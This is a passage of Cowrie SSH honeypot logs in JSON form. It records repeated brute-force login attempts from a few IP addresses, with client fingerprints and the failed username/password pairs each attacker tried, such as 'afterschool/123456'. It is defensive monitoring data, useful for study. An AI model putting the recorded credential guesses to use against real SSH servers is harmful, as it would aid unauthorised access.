88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:41:57.891086Z","src_ip":"159.203.92.129","session":"ca8702d85ba1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"afc","password":"123456","message":"login attempt [afc/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:41:57.902470Z","src_ip":"159.203.92.129","session":"ca8702d85ba1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:41:58.913648Z","src_ip":"159.203.92.129","session":"ca8702d85ba1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":33132,"dst_ip":"159.203.135.109","dst_port":22,"session":"93fd77b420b1","protocol":"ssh","message":"New connection: 159.203.92.129:33132 (159.203.135.109:22) [session: 93fd77b420b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:42:40.598250Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:42:40.603363Z","src_ip":"159.203.92.129","session":"93fd77b420b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:42:40.607975Z","src_ip":"159.203.92.129","session":"93fd77b420b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"afk","password":"afk","message":"login attempt [afk/afk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:42:40.619137Z","src_ip":"159.203.92.129","session":"93fd77b420b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:42:41.627255Z","src_ip":"159.203.92.129","session":"93fd77b420b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.163.183","src_port":55698,"dst_ip":"10.17.0.5","dst_port":22,"session":"cea409c36dda","protocol":"ssh","message":"New connection: 152.32.163.183:55698 (10.17.0.5:22) [session: cea409c36dda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:43:21.465768Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:43:21.470502Z","src_ip":"152.32.163.183","session":"cea409c36dda","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:43:22.449599Z","src_ip":"152.32.163.183","session":"cea409c36dda","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newuser","password":"test123","message":"login attempt [newuser/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:43:23.462924Z","src_ip":"152.32.163.183","session":"cea409c36dda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:43:24.711430Z","src_ip":"152.32.163.183","session":"cea409c36dda","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":52844,"dst_ip":"159.203.135.109","dst_port":22,"session":"4a30f5145fde","protocol":"ssh","message":"New connection: 159.203.92.129:52844 (159.203.135.109:22) [session: 4a30f5145fde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:43:25.268534Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:43:25.273454Z","src_ip":"159.203.92.129","session":"4a30f5145fde","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:43:25.278935Z","src_ip":"159.203.92.129","session":"4a30f5145fde","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"afsah","password":"afsah","message":"login attempt [afsah/afsah] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:43:25.292017Z","src_ip":"159.203.92.129","session":"4a30f5145fde","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:43:26.384973Z","src_ip":"159.203.92.129","session":"4a30f5145fde","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:43:48.275395Z","src_ip":"152.32.163.183","session":"acc710f781c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":36094,"dst_ip":"159.203.135.109","dst_port":22,"session":"f81aa5dfa966","protocol":"ssh","message":"New connection: 159.203.92.129:36094 (159.203.135.109:22) [session: f81aa5dfa966]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:44:10.501217Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:44:10.505773Z","src_ip":"159.203.92.129","session":"f81aa5dfa966","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:44:10.513717Z","src_ip":"159.203.92.129","session":"f81aa5dfa966","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"afterschool","password":"123","message":"login attempt [afterschool/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:44:10.527365Z","src_ip":"159.203.92.129","session":"f81aa5dfa966","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:44:11.535214Z","src_ip":"159.203.92.129","session":"f81aa5dfa966","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.163.183","src_port":18236,"dst_ip":"10.17.0.5","dst_port":22,"session":"70ae23f53410","protocol":"ssh","message":"New connection: 152.32.163.183:18236 (10.17.0.5:22) [session: 70ae23f53410]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:44:54.679964Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:44:54.685001Z","src_ip":"152.32.163.183","session":"70ae23f53410","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":49350,"dst_ip":"159.203.135.109","dst_port":22,"session":"d11c1a1e016f","protocol":"ssh","message":"New connection: 159.203.92.129:49350 (159.203.135.109:22) [session: d11c1a1e016f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:44:55.823379Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:44:55.832900Z","src_ip":"159.203.92.129","session":"d11c1a1e016f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:44:55.838010Z","src_ip":"159.203.92.129","session":"d11c1a1e016f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"afterschool","password":"123456","message":"login attempt [afterschool/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:44:55.849430Z","src_ip":"159.203.92.129","session":"d11c1a1e016f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:44:56.856018Z","src_ip":"159.203.92.129","session":"d11c1a1e016f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":54748,"dst_ip":"159.203.135.109","dst_port":22,"session":"f13f072d34b8","protocol":"ssh","message":"New connection: 159.203.92.129:54748 (159.203.135.109:22) [session: f13f072d34b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:45:41.697084Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:45:41.702254Z","src_ip":"159.203.92.129","session":"f13f072d34b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:45:41.707302Z","src_ip":"159.203.92.129","session":"f13f072d34b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"afterschool","password":"afterschool","message":"login attempt [afterschool/afterschool] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:45:41.718928Z","src_ip":"159.203.92.129","session":"f13f072d34b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:45:42.725502Z","src_ip":"159.203.92.129","session":"f13f072d34b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":41616,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea88b5d3d4eb","protocol":"ssh","message":"New connection: 159.203.92.129:41616 (159.203.135.109:22) [session: ea88b5d3d4eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:46:25.780802Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:46:25.785539Z","src_ip":"159.203.92.129","session":"ea88b5d3d4eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:46:25.815378Z","src_ip":"159.203.92.129","session":"ea88b5d3d4eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.193.16","src_port":41878,"dst_ip":"10.17.0.5","dst_port":22,"session":"4fa51da36a4e","protocol":"ssh","message":"New connection: 176.32.193.16:41878 (10.17.0.5:22) [session: 4fa51da36a4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:46:25.953256Z"}
